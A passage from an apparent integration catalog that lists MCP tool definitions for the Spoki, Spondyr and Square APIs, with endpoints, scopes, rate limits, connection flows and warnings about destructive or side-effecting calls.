(write) — Set Account Profit Margins - Software Vendor Only via POST /api/1/partners/set_profits/ POST /api/v1/spoki/api/1/partners/set_profits. Scopes: api. spoki_post_api_1_roles_add_service_user (write) — Add Service User via POST /api/1/roles/add_service_user/ -- rate limit 10/min POST /api/v1/spoki/api/1/roles/add_service_user. Scopes: api. spoki_post_api_1_roles_by_id_update_role (write) — Update Role via POST /api/1/roles/{id}/update_role/ -- rate limit 10/min POST /api/v1/spoki/api/1/roles/{id}/update_role. Scopes: api. spoki_post_api_1_templates (write) — Create template via POST /api/1/templates/ POST /api/v1/spoki/api/1/templates. Scopes: api. spoki_post_api_1_templates_by_id_back_to_draft (write) — Back template to Draft via POST /api/1/templates/{id}/back_to_draft/ -- rate limit 10/min POST /api/v1/spoki/api/1/templates/{id}/back_to_draft. Scopes: api. spoki_post_api_1_templates_by_id_submit (write) — Request template via POST /api/1/templates/{id}/submit/ -- rate limit 10/min POST /api/v1/spoki/api/1/templates/{id}/submit. Scopes: api. spoki_post_api_1_tickets (write) — Create ticket via POST /api/1/tickets/ -- rate limit 120/min POST /api/v1/spoki/api/1/tickets. Scopes: api. spoki_post_wh_ap_by_uuid (write) — Start Automation via POST /wh/ap/{uuid}/ -- NOT CALLABLE on a Spoki connection: this trigger is addressed by a per-automation UUID minted in the Spoki dashboard and authenticated by a secret in its request body, not by the account API key, so it always refuses here POST /api/v1/spoki/wh/ap/{uuid}. Scopes: api. spoki_post_wh_ap_by_uuid_bulk (write) — Start Automation for many contacts via POST /wh/ap/{uuid}/bulk/ -- NOT CALLABLE on a Spoki connection: this trigger is addressed by a per-automation UUID minted in the Spoki dashboard and authenticated by a secret in its request body, not by the account API key, so it always refuses here POST /api/v1/spoki/wh/ap/{uuid}/bulk. Scopes: api. ================================================================================ ## Spondyr URL: https://www.agenticfabriq.com/integrations/spondyr Section: Integrated Tools Spondyr — 39 MCP tools Provider key: spondyr. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. spondyr_delete_condition (write, destructive) — Delete a condition via DELETE /Condition. Delete a Condition by name from a Transaction Type. DESTRUCTIVE AND SILENT: Conditions are what narrow Template selection, so removing one can make a Template that was previously gated start matching every transaction -- correspondence is then sent where it previously was not. The target is named in the query string, not in the path. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. DELETE /api/v1/spondyr/Condition. Scopes: api. spondyr_delete_eventtype (write, destructive) — Delete an event type via DELETE /EventType. Delete an Event Type by name. DESTRUCTIVE: a generate call citing this Event Type afterwards matches no Templates, and Spondyr reports that as a finished-with-no-match correspondence rather than as an error -- so the failure is silent from the caller's side. The target is named in the query string, not in the path. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. DELETE /api/v1/spondyr/EventType. Scopes: api. spondyr_delete_recipient (write, destructive) — Delete a recipient via DELETE /Recipient. Delete a Recipient by name from a Transaction Type. DESTRUCTIVE: every Template that attached this Recipient stops delivering to it, so future correspondence quietly reaches fewer people. The target is named in the query string, not in the path. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. DELETE /api/v1/spondyr/Recipient. Scopes: api. spondyr_delete_search (write, destructive) — Delete a search filter via DELETE /Search. Delete a Search Filter by name. DESTRUCTIVE TO DISCOVERY: newly generated correspondence stops being tagged, so it can no longer be found by that filter -- correspondence search silently returns less. The target is named in the query string, not in the path. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. DELETE /api/v1/spondyr/Search. Scopes: api. spondyr_delete_template (write, destructive) — Delete a template via DELETE /Template. Delete a Template by name. THE MOST DESTRUCTIVE OF THE SIX: a Template is the document a customer's correspondence IS, and removing it means every subsequent generate call for its Event Type renders one fewer document -- delivering less, to fewer Recipients, with no error. If it was the only Template for that Event Type, generate calls finish with no match at all. The target is named in the query string, not in the path. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. DELETE /api/v1/spondyr/Template. Scopes: api. spondyr_delete_transactiontype (write, destructive) — Delete a transaction type via DELETE /TransactionType. Delete (the vendor's own word is delete/deactivate) a Transaction Type by name. DESTRUCTIVE AND WIDE: a Transaction Type is the root of the customer's correspondence configuration -- its Event Types, Recipients, Conditions, Search Filters and Templates all hang off it -- so removing it changes what every subsequent generate call for that data renders and delivers. The target is named in the QUERY STRING; there is no id in the path, so nothing about the URL shape marks this as addressing a specific record. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. DELETE /api/v1/spondyr/TransactionType. Scopes: api. spondyr_get_applicationuserstub (write) — Create a single sign-on user token via GET /ApplicationUserStub. Mint a one-time UserToken for signing a user of the calling system into Spondyr's web interface, and CREATE A STUB SPONDYR USER ACCOUNT for them if one does not exist. A GET THAT WRITES: despite the verb, this provisions an account and grants it the rights named by Role (Owner, Integrator, Editor or Tenant User), so it is classified as a write. The token is then used as a query parameter on client.spondyr.io/Public/Public/SSO to open the session. TenantToken is required for a Tenant User on a multi-tenant Application and is supplied by the connection, not by the caller. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. GET /api/v1/spondyr/ApplicationUserStub. Scopes: api. spondyr_get_batch (read) — Get batch status via GET /Batch. Read a batch's progress by its ReferenceID: the batch StatusCode, how many items it held and how many have been processed, a URI to the submitted JSON (valid for 20 minutes), and a BatchErrors array naming each failed item by index with its own ReferenceID, which the correspondence-status tool can then be called with. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. GET /api/v1/spondyr/Batch. Scopes: api. spondyr_get_condition (read) — Get a condition via GET /Condition. Read one Condition by name: the Transaction Type field it tests and the values it may be matched against. Conditions are how one Event Type selects between several Templates. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. GET /api/v1/spondyr/Condition. Scopes: api. spondyr_get_conditions (read) — List conditions via GET /Conditions. List every Condition defined on one Transaction Type, with the field each tests and its possible values. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. GET /api/v1/spondyr/Conditions. Scopes: api. spondyr_get_eventtype (read) — Get an event type via GET /EventType. Read one Event Type by name, returning the Transaction Type it belongs to. An Event Type is the trigger name a generate call passes. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. GET /api/v1/spondyr/EventType. Scopes: api. spondyr_get_eventtypes (read) — List event types via GET /EventTypes. List the Event Types defined on one Transaction Type, each with its name. These are the trigger names a generate call may cite. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. GET /api/v1/spondyr/EventTypes. Scopes: api. spondyr_get_recipient (read) — Get a recipient via GET /Recipient. Read one Recipient definition by name: the mail-merge expressions or hardcoded values Spondyr uses to pull an address, email, fax number or mobile number out of each submitted transaction. A Recipient is eligible for a delivery method only when the field that method needs carries a value. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. GET /api/v1/spondyr/Recipient. Scopes: api. spondyr_get_recipients (read) — List recipients via GET /Recipients. List every Recipient defined on one Transaction Type with its full contact-field mapping. The read that answers 'who would this correspondence actually go to'. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. GET /api/v1/spondyr/Recipients. Scopes: api. spondyr_get_search (read) — Get a search filter via GET /Search. Read one Search Filter by name: the Transaction Type it belongs to and the Tag expression it stamps onto generated correspondence. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. GET /api/v1/spondyr/Search. Scopes: api. spondyr_get_searches (read) — List search filters via GET /Searches. List every Search Filter defined on one Transaction Type with its tag expression. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. GET /api/v1/spondyr/Searches. Scopes: api. spondyr_get_spondyr (read) — Get correspondence status via GET /Spondyr. Read the status of one generate/deliver request by its ReferenceID: the overall StatusCode, and per rendered document the Template used, the content type, a download URI THAT IS VALID FOR ONLY 20 MINUTES, and each Recipient's delivery outcome. Set IncludeData to return the original data that was submitted. Passing ApplicationUserID, FirstName and LastName LOGS A VIEWER against the correspondence -- Spondyr records the view whether or not the returned URI is opened. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. GET /api/v1/spondyr/Spondyr. Scopes: api. spondyr_get_spondyrs (read) — Search generated correspondence via GET /Spondyrs. Page through previously generated correspondence, optionally filtered by batch, by Event Type, or by a Search Filter name and value -- which is how correspondence is found by the calling system's own identifiers rather than by Spondyr's. Returns the same status objects the per-reference status tool returns, so the 20-minute URI lifetime applies here too. Page defaults to 1, PageSize to 10, and PageSize is capped at 250. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. GET /api/v1/spondyr/Spondyrs. Scopes: api. spondyr_get_template (read) — Get a template via GET /Template. Read one Template by name: the Event Type it renders for, its content type, the base64 document itself, and the Recipients, Conditions and Search Filters attached to it -- including per-Recipient delivery settings such as the from-address, subject and body used for email. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. GET /api/v1/spondyr/Template. Scopes: api. spondyr_get_templates (read) — List templates via GET /Templates. List every Template on one Transaction Type with its Event Type, content type, attached Recipients, Conditions and Search Filters. The read that answers what a given transaction would actually produce. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. GET /api/v1/spondyr/Templates. Scopes: api. spondyr_get_transactiontype (read) — Get a transaction type via GET /TransactionType. Read one Transaction Type by name: its sample JSON and the flattened, comma-delimited list of mail-merge field names derived from it. That field list is what a Template may reference, so this is the tool that answers 'which merge fields exist' before a Template is written. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. GET /api/v1/spondyr/TransactionType. Scopes: api. spondyr_get_transactiontypes (read) — List transaction types via GET /TransactionTypes. List every Transaction Type on the Application, each with its sample JSON and flattened merge-field list. The read to make first when nothing is known about a subscription's configuration. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. GET /api/v1/spondyr/TransactionTypes. Scopes: api. spondyr_post_batch (write) — Generate and send a batch of correspondence via POST /Batch. Submit an array of transactions under one Event Type in a single call, each processed as its own correspondence. SharedData is merged into every item, which is how a common block of fields is sent once rather than repeated per row. Returns one batch ReferenceID. SENDS REAL CORRESPONDENCE FOR EVERY ITEM and spends the subscription's monthly allowance accordingly, unless IsGenerateOnly is true. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. POST /api/v1/spondyr/Batch. Scopes: api. spondyr_post_condition (write) — Create a condition via POST /Condition. Create a Condition on a Transaction Type: a named rule over one flattened merge field, optionally with the list of possible values (newline-separated) offered when it is attached to a Template. The Condition does nothing until a Template references it with an operator and a comparison value. Omit the Condition property when creating. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. POST /api/v1/spondyr/Condition. Scopes: api. spondyr_post_eventtype (write) — Create an event type via POST /EventType. Create an Event Type on a Transaction Type -- the named occurrence in the calling system that a generate call will cite to select Templates. Omit the EventType property when creating; Name is the new name. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. POST /api/v1/spondyr/EventType. Scopes: api. spondyr_post_recipient (write) — Create a recipient via POST /Recipient. Define a Recipient on a Transaction Type: who may receive correspondence and where each contact field comes from. Field values are either literal (a fixed archive address) or a merge expression in braces, such as {Customer_Email}, resolved per transaction. A Recipient must still be attached to a Template before anything is delivered to it. Omit the Recipient property when creating. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. POST /api/v1/spondyr/Recipient. Scopes: api. spondyr_post_retry (write) — Retry failed correspondence via POST /Retry. Re-run the Templates that errored on an earlier request, named by its ReferenceID, optionally narrowing to specific Template names. Returns a new ReferenceID for the retry. This RE-SENDS correspondence and spends the subscription's allowance again for whatever it successfully renders. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. POST /api/v1/spondyr/Retry. Scopes: api. spondyr_post_search (write) — Create a search filter via POST /Search. Create a Search Filter on a Transaction Type: a named tag whose value is a literal or a merge expression such as {OrderNumber}. Attached to a Template, it stamps that value onto every correspondence rendered, which is what makes correspondence findable later by the calling system's own identifiers. Omit the Search property when creating. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. POST /api/v1/spondyr/Search. Scopes: api. spondyr_post_spondyr (write) — Generate and send correspondence via POST /Spondyr. Submit one transaction's data under an Event Type; Spondyr matches it against the Templates configured for that Event Type, renders each match, and delivers the result to the configured Recipients by email, SMS, fax or postal mail. Returns a ReferenceID for reading the status or delivering later. SENDS REAL CORRESPONDENCE AND SPENDS THE SUBSCRIPTION'S MONTHLY ALLOWANCE unless IsGenerateOnly is true, which renders and holds the correspondence for a later Deliver call. Data must match the shape defined for the Event Type's Transaction Type. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. POST /api/v1/spondyr/Spondyr. Scopes: api. spondyr_post_template (write) — Create a template via POST /Template. Create a Template: the rendered output for an Event Type, built from content previously uploaded through the template-content tool, with the Recipients that receive it, the Conditions that gate it, and the Search Filters that tag it. ADDING A TEMPLATE CHANGES WHAT AN EXISTING EVENT TYPE PRODUCES: the next generate call for that Event Type renders and delivers this one too. Omit the Template property when creating. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. POST /api/v1/spondyr/Template. Scopes: api. spondyr_post_templatecontent (write) — Upload template content via POST /TemplateContent. Upload a Word document as base64 and receive a ReferenceID for it. This is step one of creating or updating a Template: the content is uploaded here and the Template is then created referencing it. An uploaded piece of content CAN ONLY BE ATTACHED TO ONE TEMPLATE, so a second Template needs its own upload. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. POST /api/v1/spondyr/TemplateContent. Scopes: api. spondyr_post_transactiontype (write) — Create a transaction type via POST /TransactionType. Define a new Transaction Type -- a name plus a sample JSON document describing the data the calling system will submit. Spondyr flattens the sample into the mail-merge fields Templates may use, so the sample decides what every Template for this data can reference. Omit the TransactionType property when creating. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. POST /api/v1/spondyr/TransactionType. Scopes: api. spondyr_put_condition (write) — Update a condition via PUT /Condition. Update a Condition's name, the field it tests, or its possible values. CHANGING THE FIELD CHANGES TEMPLATE SELECTION for every Template that references this Condition, which changes what future correspondence renders. Condition names the existing record; Name is what it becomes. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. PUT /api/v1/spondyr/Condition. Scopes: api. spondyr_put_eventtype (write) — Update an event type via PUT /EventType. Rename an Event Type or move it to a different Transaction Type. RENAMING BREAKS CALLERS: the Event Type name is what a generate call passes, so any system still sending the old name stops matching Templates. EventType names the existing record; Name is what it becomes. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. PUT /api/v1/spondyr/EventType. Scopes: api. spondyr_put_recipient (write) — Update a recipient via PUT /Recipient. Update a Recipient's name or any of its contact-field mappings. CHANGING A MAPPING CHANGES WHERE FUTURE CORRESPONDENCE IS SENT, and clearing the field a delivery method depends on makes the Recipient ineligible for it -- Spondyr then marks those deliveries undeliverable rather than failing the call. Recipient names the existing record; Name is what it becomes. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. PUT /api/v1/spondyr/Recipient. Scopes: api. spondyr_put_search (write) — Update a search filter via PUT /Search. Update a Search Filter's name or its Tag expression. Correspondence ALREADY generated keeps the value it was stamped with, so a change here splits the searchable history into before and after. Search names the existing record; Name is what it becomes. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. PUT /api/v1/spondyr/Search. Scopes: api. spondyr_put_spondyr (write) — Deliver generated correspondence via PUT /Spondyr. Deliver correspondence that an earlier generate call rendered and held (IsGenerateOnly), naming it by its ReferenceID. Optionally narrow which Templates are delivered, which of the originally determined Recipients receive them, and add NewRecipients that were not in the original run. THIS IS THE CALL THAT ACTUALLY SENDS: a held correspondence costs nothing until it is delivered. A NewRecipient with a TargetedDeliveryMethod but without the matching contact field is marked undeliverable rather than rejected. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. PUT /api/v1/spondyr/Spondyr. Scopes: api. spondyr_put_template (write) — Update a template via PUT /Template. Replace a Template's content, its Event Type, or its attached Recipients, Conditions and Search Filters. THE ARRAYS ARE THE WHOLE SET: a Recipient or Condition left out of the submitted arrays is no longer attached, so a partial update silently detaches the rest. Template names the existing record; Name is what it becomes. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. PUT /api/v1/spondyr/Template. Scopes: api. spondyr_put_transactiontype (write) — Update a transaction type via PUT /TransactionType. Rename a Transaction Type or replace its sample JSON. CHANGING THE SAMPLE CHANGES THE AVAILABLE MERGE FIELDS: a field dropped from the sample stops being available to every Template built on this Transaction Type, which affects what future correspondence renders. TransactionType names the existing record; Name is what it becomes. Spondyr's ceiling is the Subscription's monthly correspondence allowance rather than a request rate; the reference publishes no rate limit. Every response carries APIStatus (OK or ERROR) and ErrorMessage, so a failure may arrive inside a 200. PUT /api/v1/spondyr/TransactionType. Scopes: api. ================================================================================ ## Square URL: https://www.agenticfabriq.com/integrations/square Section: Integrated Tools Square — 327 MCP tools Provider key: square. Scopes: APPOINTMENTS_BUSINESS_SETTINGS_READ, APPOINTMENTS_READ, APPOINTMENTS_WRITE, BANK_ACCOUNTS_READ, BANK_ACCOUNTS_WRITE, CASH_DRAWER_READ, CHANNELS_READ, CUSTOMERS_READ, CUSTOMERS_WRITE, DEVICES_READ, DEVICE_CREDENTIAL_MANAGEMENT, DISPUTES_READ, DISPUTES_WRITE, EMPLOYEES_READ, EMPLOYEES_WRITE, GIFTCARDS_READ, GIFTCARDS_WRITE, INVENTORY_READ, INVENTORY_WRITE, INVOICES_READ, INVOICES_WRITE, ITEMS_READ, ITEMS_WRITE, LOYALTY_READ, LOYALTY_WRITE, MERCHANT_PROFILE_READ, MERCHANT_PROFILE_WRITE, ONLINE_STORE_SITE_READ, ONLINE_STORE_SNIPPETS_READ, ONLINE_STORE_SNIPPETS_WRITE, ORDERS_READ, ORDERS_WRITE, PAYMENTS_READ, PAYMENTS_WRITE, PAYMENT_METHODS_READ, SUBSCRIPTIONS_READ, SUBSCRIPTIONS_WRITE, TIMECARDS_READ, TIMECARDS_SETTINGS_READ, TIMECARDS_SETTINGS_WRITE, TIMECARDS_WRITE, VENDOR_READ, VENDOR_WRITE. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. square_delete_v2_bookings_by_booking_id_custom_attributes_by_key (write, destructive) — Delete Booking Custom Attribute via DELETE /v2/bookings/{booking_id}/custom-attributes/{key} DELETE /api/v1/square/v2/bookings/{booking_id}/custom-attributes/{key}. Scopes: APPOINTMENTS_WRITE. square_delete_v2_bookings_custom_attribute_definitions_by_key (write, destructive) — Delete Booking Custom Attribute Definition via DELETE /v2/bookings/custom-attribute-definitions/{key} DELETE /api/v1/square/v2/bookings/custom-attribute-definitions/{key}. Scopes: APPOINTMENTS_WRITE. square_delete_v2_catalog_object_by_object_id (write, destructive) — Delete Catalog Object via DELETE /v2/catalog/object/{object_id} DELETE /api/v1/square/v2/catalog/object/{object_id}. Scopes: ITEMS_WRITE. square_delete_v2_customers_by_customer_id (write, destructive) — Delete Customer via DELETE /v2/customers/{customer_id} DELETE /api/v1/square/v2/customers/{customer_id}. Scopes: CUSTOMERS_WRITE. square_delete_v2_customers_by_customer_id_cards_by_card_id (write, destructive) — Delete Customer Card via DELETE /v2/customers/{customer_id}/cards/{card_id} DELETE /api/v1/square/v2/customers/{customer_id}/cards/{card_id}. Scopes: CUSTOMERS_WRITE. square_delete_v2_customers_by_customer_id_custom_attributes_by_key (write, destructive) — Delete Customer Custom Attribute via DELETE /v2/customers/{customer_id}/custom-attributes/{key} DELETE /api/v1/square/v2/customers/{customer_id}/custom-attributes/{key}. Scopes: CUSTOMERS_WRITE. square_delete_v2_customers_by_customer_id_groups_by_group_id (write, destructive) — Remove Group From Customer via DELETE /v2/customers/{customer_id}/groups/{group_id} DELETE /api/v1/square/v2/customers/{customer_id}/groups/{group_id}. Scopes: CUSTOMERS_WRITE. square_delete_v2_customers_custom_attribute_definitions_by_key (write, destructive) — Delete Customer Custom Attribute Definition via DELETE /v2/customers/custom-attribute-definitions/{key} DELETE /api/v1/square/v2/customers/custom-attribute-definitions/{key}. Scopes: CUSTOMERS_WRITE. square_delete_v2_customers_groups_by_group_id (write, destructive) — Delete Customer Group via DELETE /v2/customers/groups/{group_id} DELETE /api/v1/square/v2/customers/groups/{group_id}. Scopes: CUSTOMERS_WRITE. square_delete_v2_disputes_by_dispute_id_evidence_by_evidence_id (write, destructive) — Delete Dispute Evidence via DELETE /v2/disputes/{dispute_id}/evidence/{evidence_id} DELETE /api/v1/square/v2/disputes/{dispute_id}/evidence/{evidence_id}. Scopes: DISPUTES_WRITE. square_delete_v2_invoices_by_invoice_id (write, destructive) — Delete Invoice via DELETE /v2/invoices/{invoice_id} DELETE /api/v1/square/v2/invoices/{invoice_id}. Scopes: INVOICES_WRITE, ORDERS_WRITE. square_delete_v2_invoices_by_invoice_id_attachments_by_attachment_id (write, destructive) — Delete Invoice Attachment via DELETE /v2/invoices/{invoice_id}/attachments/{attachment_id} DELETE /api/v1/square/v2/invoices/{invoice_id}/attachments/{attachment_id}. Scopes: INVOICES_WRITE. square_delete_v2_labor_break_types_by_id (write, destructive) — Delete Break Type via DELETE /v2/labor/break-types/{id} DELETE /api/v1/square/v2/labor/break-types/{id}. Scopes: TIMECARDS_SETTINGS_WRITE. square_delete_v2_labor_shifts_by_id (write, destructive) — Delete Shift via DELETE /v2/labor/shifts/{id} DELETE /api/v1/square/v2/labor/shifts/{id}. Scopes: TIMECARDS_WRITE. square_delete_v2_labor_timecards_by_id (write, destructive) — Delete Timecard via DELETE /v2/labor/timecards/{id} DELETE /api/v1/square/v2/labor/timecards/{id}. Scopes: TIMECARDS_WRITE. square_delete_v2_locations_by_location_id_custom_attributes_by_key (write, destructive) — Delete Location Custom Attribute via DELETE /v2/locations/{location_id}/custom-attributes/{key} DELETE /api/v1/square/v2/locations/{location_id}/custom-attributes/{key}. Scopes: MERCHANT_PROFILE_WRITE. square_delete_v2_locations_custom_attribute_definitions_by_key (write, destructive) — Delete Location Custom Attribute Definition via DELETE /v2/locations/custom-attribute-definitions/{key} DELETE /api/v1/square/v2/locations/custom-attribute-definitions/{key}. Scopes: MERCHANT_PROFILE_WRITE. square_delete_v2_loyalty_rewards_by_reward_id (write, destructive) — Delete Loyalty Reward via DELETE /v2/loyalty/rewards/{reward_id} DELETE /api/v1/square/v2/loyalty/rewards/{reward_id}. Scopes: LOYALTY_WRITE. square_delete_v2_merchants_by_merchant_id_custom_attributes_by_key (write, destructive) — Delete Merchant Custom Attribute via DELETE /v2/merchants/{merchant_id}/custom-attributes/{key} DELETE /api/v1/square/v2/merchants/{merchant_id}/custom-attributes/{key}. Scopes: MERCHANT_PROFILE_WRITE. square_delete_v2_merchants_custom_attribute_definitions_by_key (write, destructive) — Delete Merchant Custom Attribute Definition via DELETE /v2/merchants/custom-attribute-definitions/{key} DELETE /api/v1/square/v2/merchants/custom-attribute-definitions/{key}. Scopes: MERCHANT_PROFILE_WRITE. square_delete_v2_online_checkout_payment_links_by_id (write, destructive) — Delete Payment Link via DELETE /v2/online-checkout/payment-links/{id} DELETE /api/v1/square/v2/online-checkout/payment-links/{id}. Scopes: ORDERS_READ, ORDERS_WRITE. square_delete_v2_orders_by_order_id_custom_attributes_by_custom_attribute_key (write, destructive) — Delete Order Custom Attribute via DELETE /v2/orders/{order_id}/custom-attributes/{custom_attribute_key} DELETE /api/v1/square/v2/orders/{order_id}/custom-attributes/{custom_attribute_key}. Scopes: ORDERS_WRITE. square_delete_v2_orders_custom_attribute_definitions_by_key (write, destructive) — Delete Order Custom Attribute Definition via DELETE /v2/orders/custom-attribute-definitions/{key} DELETE /api/v1/square/v2/orders/custom-attribute-definitions/{key}. Scopes: ORDERS_WRITE. square_delete_v2_sites_by_site_id_snippet (write, destructive) — Delete Snippet via DELETE /v2/sites/{site_id}/snippet DELETE /api/v1/square/v2/sites/{site_id}/snippet. Scopes: ONLINE_STORE_SNIPPETS_WRITE. square_delete_v2_subscriptions_by_subscription_id_actions_by_action_id (write, destructive) — Delete Subscription Action via DELETE /v2/subscriptions/{subscription_id}/actions/{action_id} DELETE /api/v1/square/v2/subscriptions/{subscription_id}/actions/{action_id}. Scopes: SUBSCRIPTIONS_WRITE. square_delete_v2_transfer_orders_by_transfer_order_id (write, destructive) — Delete Transfer Order via DELETE /v2/transfer-orders/{transfer_order_id} DELETE /api/v1/square/v2/transfer-orders/{transfer_order_id}. Scopes: INVENTORY_WRITE. square_delete_v2_webhooks_subscriptions_by_subscription_id (write, destructive) — Delete Webhook Subscription via DELETE /v2/webhooks/subscriptions/{subscription_id} DELETE 